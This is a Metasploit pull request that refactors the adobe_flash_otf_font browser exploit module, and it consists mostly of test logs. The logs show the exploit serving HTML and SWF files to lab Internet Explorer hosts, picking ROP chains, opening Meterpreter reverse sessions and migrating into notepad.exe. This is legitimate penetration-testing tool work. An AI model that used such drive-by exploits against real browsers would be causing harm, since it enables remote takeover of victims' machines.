rapid7/metasploit-framework — pull request #868 by wchen-r7 (2012-10-07 02:06:07+00:00)
Title: Use RopDb in adobe_flash_otf_font, also cleaner code & output

This pull request has the following changes:

* More target testing
* Use of RopDb mixin
* Cleaner code
* Cleaner output in msfconsole

Test Results:

Test #1:

msf exploit(adobe_flash_otf_font) >
[*] 10.0.1.6 adobe_flash_otf_font - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 adobe_flash_otf_font - Client requesting: /m7
[*] 10.0.1.6 adobe_flash_otf_font - Sending HTML
[*] 10.0.1.6 adobe_flash_otf_font - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 adobe_flash_otf_font - Client requesting: /QknEH.txt.swf
[*] 10.0.1.6 adobe_flash_otf_font - Sending SWF
[*] 10.0.1.6 adobe_flash_otf_font - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 adobe_flash_otf_font - Client requesting: /QknEH.txt
[*] 10.0.1.6 adobe_flash_otf_font - Default back to JRE ROP
[*] 10.0.1.6 adobe_flash_otf_font - Sending Payload
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 3 opened (10.0.1.3:4444 -> 10.0.1.6:2469) at 2012-10-06 20:40:41 -0500
[*] Session ID 3 (10.0.1.3:4444 -> 10.0.1.6:2469) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (404)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 784
[+] Successfully migrated to process

Test #2:

msf exploit(adobe_flash_otf_font) > [*] Local IP: http://10.0.1.3:8080/49
[*] Server started.
[*] 10.0.1.6 adobe_flash_otf_font - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 adobe_flash_otf_font - Client requesting: /49
[*] 10.0.1.6 adobe_flash_otf_font - Sending HTML
[*] 10.0.1.6 adobe_flash_otf_font - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 adobe_flash_otf_font - Client requesting: /ikGxF.txt.swf
[*] 10.0.1.6 adobe_flash_otf_font - Sending SWF
[*] 10.0.1.6 adobe_flash_otf_font - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 adobe_flash_otf_font - Client requesting: /ikGxF.txt
[*] 10.0.1.6 adobe_flash_otf_font - Using Rop Chain For Flash: 11,3,300,268
[*] 10.0.1.6 adobe_flash_otf_font - Sending Payload
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 4 opened (10.0.1.3:4444 -> 10.0.1.6:1114) at 2012-10-06 20:45:36 -0500
[*] Session ID 4 (10.0.1.3:4444 -> 10.0.1.6:1114) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3104)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3380
[+] Successfully migrated to process

Test #3:

msf exploit(adobe_flash_otf_font) > [*] Local IP: http://10.0.1.3:8080/ev
[*] Server started.
[*] 10.0.1.6 adobe_flash_otf_font - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 adobe_flash_otf_font - Client requesting: /ev
[*] 10.0.1.6 adobe_flash_otf_font - Sending HTML
[*] 10.0.1.6 adobe_flash_otf_font - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 adobe_flash_otf_font - Client requesting: /CzAta.txt.swf
[*] 10.0.1.6 adobe_flash_otf_font - Sending SWF
[*] 10.0.1.6 adobe_flash_otf_font - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 adobe_flash_otf_font - Client requesting: /CzAta.txt
[*] 10.0.1.6 adobe_flash_otf_font - Using Rop Chain For Flash: 11,3,300,265
[*] 10.0.1.6 adobe_flash_otf_font - Sending Payload
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 5 opened (10.0.1.3:4444 -> 10.0.1.6:1077) at 2012-10-06 20:49:56 -0500
[*] Session ID 5 (10.0.1.3:4444 -> 10.0.1.6:1077) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3464)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3824
[+] Successfully migrated to process

Test #4:

msf exploit(adobe_flash_otf_font) >
[*] Local IP: http://10.0.1.3:8080/Ew
[*] Server started.
[*] 10.0.1.6 adobe_flash_otf_font - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 adobe_flash_otf_font - Client requesting: /Ew
[*] 10.0.1.6 adobe_flash_otf_font - Sending HTML
[*] 10.0.1.6 adobe_flash_otf_font - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 adobe_flash_otf_font - Client requesting: /oemOE.txt.swf
[*] 10.0.1.6 adobe_flash_otf_font - Sending SWF
[*] 10.0.1.6 adobe_flash_otf_font - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6 adobe_flash_otf_font - Client requesting: /oemOE.txt
[*] 10.0.1.6 adobe_flash_otf_font - Using Rop Chain For Flash: 11,3,300,257
[*] 10.0.1.6 adobe_flash_otf_font - Sending Payload
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 6 opened (10.0.1.3:4444 -> 10.0.1.6:1260) at 2012-10-06 20:56:03 -0500
[*] Session ID 6 (10.0.1.3:4444 -> 10.0.1.6:1260) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3108)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3420
[+] Successfully migrated to process

Test #5:

msf exploit(adobe_flash_otf_font) > [*] Local IP: http://10.0.1.3:8080/gp
[*] Server started.
[*] 10.0.1.7 adobe_flash_otf_font - Target selected: IE 9 on Windows 7 SP1
[*] 10.0.1.7 adobe_flash_otf_font - Client requesting: /gp
[*] 10.0.1.7 adobe_flash_otf_font - Sending HTML
[*] 10.0.1.7 adobe_flash_otf_font - Target selected: IE 9 on Windows 7 SP1
[*] 10.0.1.7 adobe_flash_otf_font - Client requesting: /aABPR.txt.swf
[*] 10.0.1.7 adobe_flash_otf_font - Sending SWF
[*] 10.0.1.7 adobe_flash_otf_font - Target selected: IE 9 on Windows 7 SP1
[*] 10.0.1.7 adobe_flash_otf_font - Client requesting: /aABPR.txt
[*] 10.0.1.7 adobe_flash_otf_font - Default back to JRE ROP
[*] 10.0.1.7 adobe_flash_otf_font - Sending Payload
[*] Sending stage (752128 bytes) to 10.0.1.7
[*] Meterpreter session 7 opened (10.0.1.3:4444 -> 10.0.1.7:49174) at 2012-10-06 21:02:57 -0500
[*] Session ID 7 (10.0.1.3:4444 -> 10.0.1.7:49174) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2752)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3048
[+] Successfully migrated to process